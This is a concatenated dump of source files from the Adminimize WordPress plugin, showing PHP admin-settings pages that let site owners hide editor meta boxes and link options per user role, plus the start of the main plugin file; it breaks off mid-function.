' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Author' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Password and Private', 'adminimize' ),
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Inline Edit Center', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Categories Title', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Categories List', 'adminimize' ),
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Inline Edit Right', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Tags' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Status, Sticky', 'adminimize' ),
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Cancel/Save Button', 'adminimize' )
);
$metaboxes_names = array_merge( $metaboxes_names, $quickedit_names );
// add own post options
$_mw_adminimize_own_post_values = _mw_adminimize_get_option_value( '_mw_adminimize_own_post_values' );
$_mw_adminimize_own_post_values = preg_split( "/\r\n/", $_mw_adminimize_own_post_values );
foreach ( (array) $_mw_adminimize_own_post_values as $key => $_mw_adminimize_own_post_value ) {
$_mw_adminimize_own_post_value = trim( $_mw_adminimize_own_post_value );
$metaboxes[] = $_mw_adminimize_own_post_value;
}
$_mw_adminimize_own_post_options = _mw_adminimize_get_option_value( '_mw_adminimize_own_post_options' );
$_mw_adminimize_own_post_options = preg_split( "/\r\n/", $_mw_adminimize_own_post_options );
foreach ( (array) $_mw_adminimize_own_post_options as $key => $_mw_adminimize_own_post_option ) {
$_mw_adminimize_own_post_option = trim( $_mw_adminimize_own_post_option );
$metaboxes_names[] = $_mw_adminimize_own_post_option;
}
$x = 0;
foreach ( $metaboxes as $index => $metabox ) {
if ( '' !== $metabox ) {
$checked_user_role_ = array();
foreach ( $user_roles as $role ) {
$checked_user_role_[ $role ] = ( isset( $disabled_metaboxes_post_[ $role ] )
&& in_array(
$metabox, $disabled_metaboxes_post_[ $role ], FALSE
) ) ? ' checked="checked"' : '';
}
echo '<tr>' . "\n";
echo '<td>' . $metaboxes_names[ $index ] . ' <span>(' . $metabox . ')</span> </td>' . "\n";
foreach ( $user_roles as $role ) {
echo '<td class="num">';
echo '<input id="check_post' . $role . $x . '" class="write_post_options_'
. preg_replace( '/[^a-z0-9_-]+/', '', $role ) . '" type="checkbox"'
. $checked_user_role_[ $role ] . ' name="mw_adminimize_disabled_metaboxes_post_'
. $role . '_items[]" value="' . $metabox . '" />';
echo '</td>' . "\n";
}
echo '</tr>' . "\n";
$x ++;
}
}
?>
</tbody>
</table>
<?php
//your own post options
?>
<br style="margin-top: 10px;" />
<table summary="config_own_post" class="widefat">
<thead>
<tr>
<th><?php esc_attr_e( 'Your own options', 'adminimize' );
echo '<br />';
esc_attr_e( 'Option name', 'adminimize' ); ?></th>
<th><?php echo '<br />';
esc_attr_e( 'Selector, ID or class', 'adminimize' ); ?></th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td colspan="2"><?php esc_attr_e(
'It is possible to add your own IDs or classes from elements and tags. You can find IDs and classes with the FireBug Add-on for Firefox. Assign a value and the associate name per line.',
'adminimize'
); ?></td>
</tr>
<tr valign="top">
<td>
<textarea name="_mw_adminimize_own_post_options" cols="60" rows="3" id="_mw_adminimize_own_post_options" style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_post_options'
); ?></textarea>
<br />
<?php esc_attr_e(
'Possible nomination for ID or class. Separate multiple nominations through a carriage return.',
'adminimize'
); ?>
</td>
<td>
<textarea class="code" name="_mw_adminimize_own_post_values" cols="60" rows="3" id="_mw_adminimize_own_post_values" style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_post_values'
); ?></textarea>
<br />
<?php esc_attr_e(
'Possible IDs or classes. Separate multiple values through a carriage return.', 'adminimize'
); ?>
</td>
</tr>
</tbody>
</table>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert" />
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Update Options', 'adminimize'
); ?> »" /><input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a><br class="clear" /></p>
</div>
</div>
</div>
inc-options/write_cp_options.php 0000666 00000030544 15244451347 0013131 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Custom Post type options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
// reset
$post_type = '';
$args = array( 'public' => TRUE, '_builtin' => FALSE );
foreach ( get_post_types( $args ) as $post_type ) {
$post_type_object = get_post_type_object( $post_type );
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="config_edit_<?php echo $post_type; ?>">
<?php esc_attr_e( 'Write options', 'adminimize' );
echo ' - ' . $post_type_object->label; ?>
</h3>
<div class="inside">
<br class="clear" />
<table summary="config_edit_post" class="widefat">
<colgroup>
<?php
$col = 0;
foreach ( (array) $user_roles_names as $role_name ) {
echo '<col class="col' . (int) $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Write options', 'adminimize' );
echo ' - ' . $post_type_object->label ?></th>
<?php
foreach ( (array) $user_roles_names as $role_name ) {
echo '<th>' . esc_attr__( 'Deactivate for', 'adminimize' )
. '<br/>' . esc_attr( $role_name ) . '</th>';
} ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
foreach ( (array) $user_roles as $role_slug ) {
echo '<td class="num"><input id="select_all" class="write_cp_options_'
. esc_attr( $post_type ) . '_' . esc_attr( $role_slug )
. '" type="checkbox" name="" value="" /></td>' . "\n";
} ?>
</tr>
</thead>
<tbody>
<?php
$metaboxes = array(
'#contextual-help-link-wrap',
'#screen-options-link-wrap',
'.page-title-action',
'#pageslugdiv',
'#tagsdiv,#tagsdivsb,#tagsdiv-post_tag',
'#formatdiv',
'#categorydiv,#categorydivsb',
'#category-add-toggle',
'#passworddiv',
'.side-info',
'#notice',
'#post-body h2',
'#media-buttons, #wp-content-media-buttons',
'#wp-word-count',
'#slugdiv,#edit-slug-box',
'#misc-publishing-actions',
'#commentstatusdiv',
'#editor-toolbar #edButtonHTML, #quicktags, #content-html',
);
if ( ! empty( $GLOBALS[ '_wp_post_type_features' ][ $post_type ] ) ) {
foreach ( $GLOBALS[ '_wp_post_type_features' ][ $post_type ] as $post_type_support => $key ) {
if ( post_type_supports( $post_type, $post_type_support ) && 'excerpt' === $post_type_support ) {
$post_type_support = 'postexcerpt';
}
if ( 'page-attributes' === $post_type_support ) {
$post_type_support = 'pageparentdiv';
}
if ( 'custom-fields' === $post_type_support ) {
$post_type_support = 'postcustom';
}
$metaboxes[] = '#' . $post_type_support
. ', #' . $post_type_support
. 'div, th.column-' . $post_type_support
. ', td.' . $post_type_support; // td for raw in edit screen
}
}
if ( function_exists( 'current_theme_supports' )
&& current_theme_supports(
'post-thumbnails', $post_type
)
) {
$metaboxes[] = '#postimagediv';
}
if ( function_exists( 'sticky_add_meta_box' ) ) {
$metaboxes[] = '#poststickystatusdiv';
}
// quick edit areas, id and class
$quickedit_areas = array(
'div.row-actions, div.row-actions .inline',
'fieldset.inline-edit-col-left',
'fieldset.inline-edit-col-left label',
'fieldset.inline-edit-col-left label.inline-edit-author',
'fieldset.inline-edit-col-left .inline-edit-group',
'fieldset.inline-edit-col-center',
'fieldset.inline-edit-col-center .inline-edit-categories-label',
'fieldset.inline-edit-col-center .category-checklist',
'fieldset.inline-edit-col-right',
'fieldset.inline-edit-col-right .inline-edit-tags',
'fieldset.inline-edit-col-right .inline-edit-group',
'tr.inline-edit-save p.inline-edit-save',
);
$metaboxes = array_merge( $metaboxes, $quickedit_areas );
$metaboxes_names = array(
esc_attr__( 'Help', 'adminimize' ),
esc_attr__( 'Screen Options', 'adminimize' ),
esc_attr__( 'Add New', 'adminimize' ),
esc_attr__( 'Permalink', 'adminimize' ),
esc_attr__( 'Tags', 'adminimize' ),
esc_attr__( 'Format', 'adminimize' ),
esc_attr__( 'Categories', 'adminimize' ),
esc_attr__( 'Add New Category', 'adminimize' ),
esc_attr__( 'Password Protect This Post', 'adminimize' ),
esc_attr__( 'Related, Shortcuts', 'adminimize' ),
esc_attr__( 'Messages', 'adminimize' ),
esc_attr__( 'h2: Advanced Options', 'adminimize' ),
esc_attr__( 'Media Buttons (all)', 'adminimize' ),
esc_attr__( 'Word count', 'adminimize' ),
esc_attr__( 'Post Slug', 'adminimize' ),
esc_attr__( 'Publish Actions', 'adminimize' ),
esc_attr__( 'Discussion', 'adminimize' ),
esc_attr__( 'HTML Editor Button', 'adminimize' ),
);
if ( ! empty( $GLOBALS[ '_wp_post_type_features' ][ $post_type ] ) ) {
foreach ( $GLOBALS[ '_wp_post_type_features' ][ $post_type ] as $post_type_support => $key ) {
if ( post_type_supports( $post_type, $post_type_support ) ) {
$metaboxes_names[] = ucfirst( $post_type_support );
}
}
}
if ( function_exists( 'current_theme_supports' )
&& current_theme_supports(
'post-thumbnails', 'post'
)
) {
$metaboxes_names[] = esc_attr__( 'Post Thumbnail', 'adminimize' );
}
if ( function_exists( 'sticky_add_meta_box' ) ) {
$metaboxes_names[] = 'Post Sticky Status';
}
// quick edit names
$quickedit_names = array(
'<strong>' . esc_attr__( 'Quick Edit Link', 'adminimize' ) . '</strong>',
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Inline Edit Left', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'All Labels', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Author' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Password and Private', 'adminimize' ),
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Inline Edit Center', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Categories Title', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Categories List', 'adminimize' ),
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Inline Edit Right', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Tags' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Status, Sticky', 'adminimize' ),
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Cancel/Save Button', 'adminimize' ),
);
$metaboxes_names = array_merge( $metaboxes_names, $quickedit_names );
// add own post options
$_mw_adminimize_own_values_[ $post_type ] = _mw_adminimize_get_option_value(
'_mw_adminimize_own_values_' . $post_type
);
$_mw_adminimize_own_values_[ $post_type ] = preg_split(
"/\r\n/", $_mw_adminimize_own_values_[ $post_type ]
);
foreach ( (array) $_mw_adminimize_own_values_[ $post_type ] as $key => $_mw_adminimize_own_value_[ $post_type ] ) {
$_mw_adminimize_own_value_[ $post_type ] = trim( $_mw_adminimize_own_value_[ $post_type ] );
$metaboxes[] = $_mw_adminimize_own_value_[ $post_type ];
}
$_mw_adminimize_own_options_[ $post_type ] = _mw_adminimize_get_option_value(
'_mw_adminimize_own_options_' . $post_type
);
$_mw_adminimize_own_options_[ $post_type ] = preg_split(
"/\r\n/", $_mw_adminimize_own_options_[ $post_type ]
);
foreach ( (array) $_mw_adminimize_own_options_[ $post_type ] as $key => $_mw_adminimize_own_option_[ $post_type ] ) {
$_mw_adminimize_own_option_[ $post_type ] = trim( $_mw_adminimize_own_option_[ $post_type ] );
$metaboxes_names[] = $_mw_adminimize_own_option_[ $post_type ];
}
$x = 0;
foreach ( $metaboxes as $index => $metabox ) {
if ( '' !== $metabox ) {
$checked_user_role_ = array();
foreach ( (array) $user_roles as $role ) {
$disabled_metaboxes_[ $post_type . '_' . $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items'
);
$checked_user_role_[ $post_type . '_' . $role ] = (
isset( $disabled_metaboxes_[ $post_type . '_' . $role ] )
&& in_array(
$metabox, $disabled_metaboxes_[ $post_type . '_' . $role ], TRUE
)
) ? ' checked="checked"' : '';
}
echo '<tr>' . "\n";
echo '<td>' . $metaboxes_names[ $index ] .
' <span>(' . $metabox . ')</span> </td>' . "\n";
foreach ( $user_roles as $role_slug ) {
echo '<td class="num">';
echo '<input id="check_' .
$post_type . $role_slug . $x . '" class="write_cp_options_'
. $post_type .
'_' . $role_slug . '" type="checkbox"' .
$checked_user_role_[ $post_type . '_' . $role_slug ] .
' name="mw_adminimize_disabled_metaboxes_' . $post_type .
'_' . $role_slug . '_items[]" value="' . $metabox . '" />';
echo '</td>' . "\n";
}
echo '</tr>' . "\n";
$x ++;
}
}
?>
</tbody>
</table>
<?php
// Your own post options
?>
<br style="margin-top: 10px;" />
<table summary="config_own_post" class="widefat">
<thead>
<tr>
<th>
<?php echo sprintf(
esc_attr__( 'Your own %s options', 'adminimize' ),
$post_type_object->label
);
echo '<br />';
esc_attr_e( 'Option name', 'adminimize' ); ?>
</th>
<th><?php echo '<br />';
esc_attr_e( 'Selector, ID or class', 'adminimize' ); ?></th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td colspan="2">
<?php esc_attr_e(
'It is possible to add your own IDs or classes from elements and tags. You can find IDs and classes with the FireBug Add-on for Firefox. Assign a value and the associate name per line.',
'adminimize'
); ?>
</td>
</tr>
<tr valign="top">
<td>
<textarea name="_mw_adminimize_own_options_<?php echo $post_type; ?>"
cols="60" rows="3"
id="_mw_adminimize_own_options_<?php echo $post_type; ?>"
style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_options_' . $post_type
); ?></textarea>
<br />
<label for="_mw_adminimize_own_options_<?php echo $post_type; ?>">
<?php esc_attr_e(
'Possible nomination for ID or class. Separate multiple nominations through a carriage return.',
'adminimize'
); ?>
</label>
</td>
<td>
<textarea class="code" name="_mw_adminimize_own_values_<?php echo $post_type; ?>"
cols="60" rows="3"
id="_mw_adminimize_own_values_<?php echo $post_type; ?>"
style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_values_' . $post_type
); ?></textarea>
<br />
<label for="_mw_adminimize_own_values_<?php echo $post_type; ?>">
<?php esc_attr_e(
'Possible IDs or classes. Separate multiple values through a carriage return.',
'adminimize'
); ?>
</label>
</td>
</tr>
</tbody>
</table>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert" />
<input class="button button-primary" type="submit"
name="_mw_adminimize_save"
value="<?php esc_attr_e( 'Update Options', 'adminimize' ); ?> »" />
<input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<a class="alignright button adminimize-scroltop" href="#"
onclick="window.scrollTo(0,0);" style="margin:3px 0 0 30px;">
<?php esc_attr_e( 'scroll to top', 'adminimize' ); ?></a>
<br class="clear" />
</p>
</div>
</div>
</div>
<?php } // end foreach ?>
inc-options/links_options.php 0000666 00000014263 15244451347 0012435 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Link Options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="links_options"><?php esc_attr_e( 'Links options', 'adminimize' ); ?></h3>
<div class="inside">
<br class="clear" />
<table summary="config_edit_links" class="widefat">
<colgroup>
<?php
$col = 0;
foreach ( $user_roles_names as $role_name ) {
echo '<col class="col' . $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Option', 'adminimize' ); ?></th>
<?php
foreach ( $user_roles_names as $role_name ) { ?>
<th><?php esc_attr_e( 'Deactivate for', 'adminimize' );
echo '<br/>' . $role_name; ?></th>
<?php } ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
foreach ( $user_roles as $role_slug ) {
echo '<td class="num">';
echo '<input id="select_all" class="links_options_' . $role_slug
. '" type="checkbox" name="" value="" />';
echo '</td>' . "\n";
} ?>
</tr>
</thead>
<tbody>
<?php
foreach ( $user_roles as $role ) {
$disabled_link_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_link_option_' . $role . '_items'
);
}
$link_options = array(
'#namediv',
'#addressdiv',
'#descriptiondiv',
'#linkcategorydiv',
'#linktargetdiv',
'#linkxfndiv',
'#linkadvanceddiv',
'#misc-publishing-actions'
);
$link_options_names = array(
esc_attr__( 'Name' ),
esc_attr__( 'Web Address' ),
esc_attr__( 'Description' ),
esc_attr__( 'Categories' ),
esc_attr__( 'Target' ),
esc_attr__( 'Link Relationship (XFN)' ),
esc_attr__( 'Advanced' ),
esc_attr__( 'Publish Actions', 'adminimize' )
);
$_mw_adminimize_own_link_values = _mw_adminimize_get_option_value( '_mw_adminimize_own_link_values' );
$_mw_adminimize_own_link_values = preg_split( "/\r\n/", $_mw_adminimize_own_link_values );
foreach ( (array) $_mw_adminimize_own_link_values as $key => $_mw_adminimize_own_link_value ) {
$_mw_adminimize_own_link_value = trim( $_mw_adminimize_own_link_value );
$link_options[] = $_mw_adminimize_own_link_value;
}
$_mw_adminimize_own_link_options = _mw_adminimize_get_option_value( '_mw_adminimize_own_link_options' );
$_mw_adminimize_own_link_options = preg_split( "/\r\n/", $_mw_adminimize_own_link_options );
foreach ( (array) $_mw_adminimize_own_link_options as $key => $_mw_adminimize_own_link_option ) {
$_mw_adminimize_own_link_option = trim( $_mw_adminimize_own_link_option );
$link_options_names[] = $_mw_adminimize_own_link_option;
}
$x = 0;
foreach ( $link_options as $index => $link_option ) {
if ( $link_option != '' ) {
$checked_user_role_ = array();
foreach ( $user_roles as $role ) {
$checked_user_role_[ $role ] = ( isset( $disabled_link_option_[ $role ] )
&& in_array(
$link_option, $disabled_link_option_[ $role ]
) ) ? ' checked="checked"' : '';
}
echo '<tr>' . "\n";
echo '<td>' . $link_options_names[ $index ] . ' <span>(' . $link_option . ')</span> </td>' . "\n";
foreach ( $user_roles as $role ) {
echo '<td class="num">';
echo '<input id="check_post' . $role . $x . '" class="links_options_'
. preg_replace( '/[^a-z0-9_-]+/', '', $role ) . '" type="checkbox"'
. $checked_user_role_[ $role ] . ' name="mw_adminimize_disabled_link_option_'
. $role . '_items[]" value="' . $link_option . '" />';
echo '</td>' . "\n";
}
echo '</tr>' . "\n";
$x ++;
}
}
?>
</tbody>
</table>
<?php
//your own global options
?>
<br style="margin-top: 10px;" />
<table summary="config_edit_post" class="widefat">
<thead>
<tr>
<th><?php esc_attr_e( 'Your own Link options', 'adminimize' );
echo '<br />';
esc_attr_e( 'Option name', 'adminimize' ); ?></th>
<th><?php echo '<br />';
esc_attr_e( 'Selector, ID or class', 'adminimize' ); ?></th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td colspan="2"><?php esc_attr_e(
'It is possible to add your own IDs or classes from elements and tags. You can find IDs and classes with the FireBug Add-on for Firefox. Assign a value and the associate name per line.',
'adminimize'
); ?></td>
</tr>
<tr valign="top">
<td>
<textarea name="_mw_adminimize_own_link_options" cols="60" rows="3" id="_mw_adminimize_own_link_options" style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_link_options'
); ?></textarea>
<br />
<?php esc_attr_e(
'Possible nomination for ID or class. Separate multiple nominations through a carriage return.',
'adminimize'
); ?>
</td>
<td>
<textarea class="code" name="_mw_adminimize_own_link_values" cols="60" rows="3" id="_mw_adminimize_own_link_values" style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_link_values'
); ?></textarea>
<br />
<?php esc_attr_e(
'Possible IDs or classes. Separate multiple values through a carriage return.', 'adminimize'
); ?>
</td>
</tr>
</tbody>
</table>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert" />
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Update Options', 'adminimize'
); ?> »" /><input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a><br class="clear" /></p>
</div>
</div>
</div>
adminimize.php 0000666 00000161356 15244451347 0007434 0 ustar 00 <?php
/**
* Plugin Name: Adminimize
* Plugin URI: https://wordpress.org/plugins/adminimize/
* Text Domain: adminimize
* Domain Path: /languages
* Description: Visually compresses the administrative meta-boxes so that more admin page content can be initially seen. The plugin that lets you hide 'unnecessary' items from the WordPress administration menu, for all roles of your install. You can also hide post meta controls on the edit-area to simplify the interface. It is possible to simplify the admin in different for all roles.
* Author: WP Media
* Author URI: https://wp-media.me
* Version: 1.11.11
* License: GPLv2+
*
* Php Version 5.6
*
* @package WordPress
* @author Frank Bültge <frank@bueltge.de>
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
* @version 2024-03-15
*/
/**
* The stylesheet and the initial idea is from Eric A. Meyer http://meyerweb.com/
* I have written a plugin with many options on the basis idea
* of differently user-right and a user-friendly range in admin-area via reduce areas.
* :( grmpf i have so much wishes and hints form users, there use the plugin and
* it is not easy to development this on my free time.
* Also I hate the source, old and hard to maintain, no OOP.
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
// plugin definitions
define( 'FB_ADMINIMIZE_BASENAME', plugin_basename( __FILE__ ) );
define( 'FB_ADMINIMIZE_BASEFOLDER', plugin_basename( __DIR__ ) );
/**
* Return data from the plugin.
*
* @param string $value
*
* @return mixed
*/
function _mw_adminimize_get_plugin_data( $value = 'Version' ) {
if ( ! function_exists( 'get_plugin_data' ) ) {
require_once ABSPATH . '/wp-admin/includes/plugin.php';
}
$plugin_data = get_plugin_data( __FILE__ );
return $plugin_data[ $value ];
}
/**
* Load language files.
*/
function _mw_adminimize_textdomain() {
load_plugin_textdomain(
_mw_adminimize_get_plugin_data( 'TextDomain' ),
FALSE,
dirname( FB_ADMINIMIZE_BASENAME ) . _mw_adminimize_get_plugin_data( 'DomainPath' )
);
}
/**
* Exclude the Super Admin of Multisite.
*
* @return bool
*/
function _mw_adminimize_exclude_super_admin() {
if ( ! function_exists( 'is_super_admin' ) ) {
return FALSE;
}
if ( ! is_super_admin() ) {
return FALSE;
}
if ( 1 === (int) _mw_adminimize_get_option_value( '_mw_adminimize_exclude_super_admin' ) ) {
return TRUE;
}
return FALSE;
}
/**
* Get the status, if is on the settings page.
*
* @return bool
*/
function _mw_adminimize_exclude_settings_page() {
if ( ! is_admin() ) {
return false;
}
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
return false;
}
$page = '';
if ( isset( $_GET['page'] ) ) {
$page = esc_attr( $_GET['page'] );
}
if ( function_exists( 'get_current_screen' ) ) {
$screen_tmp = get_current_screen();
if ( isset( $screen_tmp->id ) && null !== $screen_tmp->id ) {
$page = $screen_tmp->id;
}
}
// Don't filter on settings page
return FALSE !== strpos( $page, 'adminimize' );
}
/**
* Get status, if the plugin active network wide.
*
* @return bool
*/
function _mw_adminimize_is_active_on_multisite() {
if ( ! function_exists( 'is_plugin_active_for_network' ) ) {
require_once ABSPATH . '/wp-admin/includes/plugin.php';
}
/**
* Allow different adminimize options per site on multisite.
*
* @since 1.11.6
*
* @param bool
*/
$force_single_site_usage = apply_filters( 'adminimize_mu_force_options_per_site', false );
if ( is_multisite()
&& is_plugin_active_for_network( FB_ADMINIMIZE_BASENAME )
&& ! $force_single_site_usage ) {
return TRUE;
}
return FALSE;
}
/**
* Returns an array with all user roles(names) in it.
* Inclusive self defined roles (for example with the 'Role Manager' plugin).
*
* @uses $wp_roles
* @return array $user_roles
*/
function _mw_adminimize_get_all_user_roles() {
/** @var $wp_roles WP_Roles */
global $wp_roles;
$user_roles = array();
if ( null !== $wp_roles->roles && is_array( $wp_roles->roles ) ) {
foreach ( $wp_roles->roles as $role => $data ) {
$user_roles[] = $role;
// The $data var contains caps, maybe for later use.
}
}
// Exclude the new bbPress roles.
if ( ! _mw_adminimize_get_option_value( 'mw_adminimize_support_bbpress' ) ) {
$user_roles = array_diff(
$user_roles,
array( 'bbp_keymaster', 'bbp_moderator', 'bbp_participant', 'bbp_spectator', 'bbp_blocked' )
);
}
/**
* Use this filter to add or remove a role in Adminimize options.
*
* @since 1.11.6
*
* @param array
*/
return apply_filters( 'adminimize_user_roles_filter', $user_roles );
}
/**
* _mw_adminimize_get_all_user_roles_names() - Returns an array with all user roles_names in it.
* Inclusive self defined roles (for example with the 'Role Manager' plugin).
*
* @uses $wp_roles
* @return array $user_roles_names
*/
function _mw_adminimize_get_all_user_roles_names() {
/** @var $wp_roles WP_Roles */
global $wp_roles;
$user_roles_names = array();
foreach ( $wp_roles->role_names as $role_name => $data ) {
$data = translate_user_role( $data );
$user_roles_names[] = $data;
}
// exclude the new bbPress roles
if ( ! _mw_adminimize_get_option_value( 'mw_adminimize_support_bbpress' ) ) {
$user_roles_names = array_diff(
$user_roles_names,
array(
esc_attr__( 'Keymaster', 'bbpress' ),
esc_attr__( 'Moderator', 'bbpress' ),
esc_attr__( 'Participant', 'bbpress' ),
esc_attr__( 'Spectator', 'bbpress' ),
esc_attr__( 'Blocked', 'bbpress' ),
)
);
}
/**
* Use this filter to add or remove a role-name in Adminimize options.
*
* @since 1.11.6
*
* @param array
*/
return apply_filters( 'adminimize_user_roles_names_filter', $user_roles_names );
}
/**
* Get post type.
*
* @return null|string String of the post type.
*/
function _mw_adminimize_get_current_post_type() {
global $post, $typenow, $current_screen;
// We have a post so we can just get the post type from that.
if ( $post && $post->post_type ) {
return $post->post_type;
}
// Check the global $typenow - set in admin.php
if ( $typenow ) {
return $typenow;
}
// Check the global $current_screen object - set in screen.php
if ( $current_screen && $current_screen->post_type ) {
return $current_screen->post_type;
}
// lastly check the post_type querystring
if ( isset( $_REQUEST['post_type'] ) ) {
return sanitize_key( $_REQUEST[ 'post_type' ] );
}
// we do not know the post type!
return NULL;
}
/**
* Check user-option and add new style.
*/
function _mw_adminimize_admin_init() {
global $pagenow, $menu, $submenu;
$post_id = 0;
if ( isset( $_GET[ 'post' ] ) && ! is_array( $_GET[ 'post' ] ) ) {
$post_id = (int) esc_attr( $_GET[ 'post' ] );
} elseif ( isset( $_POST[ 'post_ID' ] ) ) {
$post_id = (int) esc_attr( $_POST[ 'post_ID' ] );
}
// Fallback to get always the post type.
if ( isset( $_GET[ 'post_type' ] ) && ! is_array( $_GET[ 'post_type' ] ) ) {
$current_post_type = esc_attr( $_GET['post_type'] );
}
if ( ! isset( $current_post_type ) || empty( $current_post_type ) ) {
$current_post_type = get_post_type( get_queried_object_id() );
}
if ( ! isset( $current_post_type ) || empty( $current_post_type ) ) {
$current_post_type = get_post_type( $post_id );
}
if ( ! isset( $current_post_type ) || empty( $current_post_type ) ) {
$current_post_type = _mw_adminimize_get_current_post_type();
}
if ( ! $current_post_type ) { // set hard to post
$current_post_type = 'post';
}
// Debug helper
if ( class_exists( 'DebugListener' ) ) {
$listener = new DebugListener();
add_action( 'adminimize.log', [$listener, 'listen'], 10, 2 );
add_action( 'wp_footer', array( $listener, 'dump' ), PHP_INT_MAX );
}
// Get all user roles.
$user_roles = _mw_adminimize_get_all_user_roles();
// Get settings.
$adminimizeoptions = _mw_adminimize_get_option_value();
// pages for post type Post
$def_post_pages = array( 'edit.php', 'post.php', 'post-new.php' );
$def_post_types = array( 'post' );
$disabled_metaboxes_post_all = array();
// pages for post type Page
$def_page_pages = array_merge( $def_post_pages, array( 'page-new.php', 'page.php' ) );
$def_page_types = array( 'page' );
$disabled_metaboxes_page_all = array();
// pages for custom post types
$def_custom_pages = $def_post_pages;
$args = array( 'public' => TRUE, '_builtin' => FALSE );
$def_custom_types = get_post_types( $args );
// pages for link pages
$link_pages = array( 'link.php', 'link-manager.php', 'link-add.php', 'edit-link-categories.php' );
// pages for nav menu
$nav_menu_pages = array( 'nav-menus.php' );
// widget pages
$widget_pages = array( 'widgets.php' );
foreach ( $user_roles as $role ) {
$disabled_admin_bar_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_admin_bar_' . $role . '_items'
);
$disabled_global_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_global_option_' . $role . '_items'
);
$disabled_metaboxes_post_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_post_' . $role . '_items'
);
$disabled_metaboxes_page_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_page_' . $role . '_items'
);
foreach ( $def_custom_types as $post_type ) {
$disabled_metaboxes_[ $post_type . '_' . $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items'
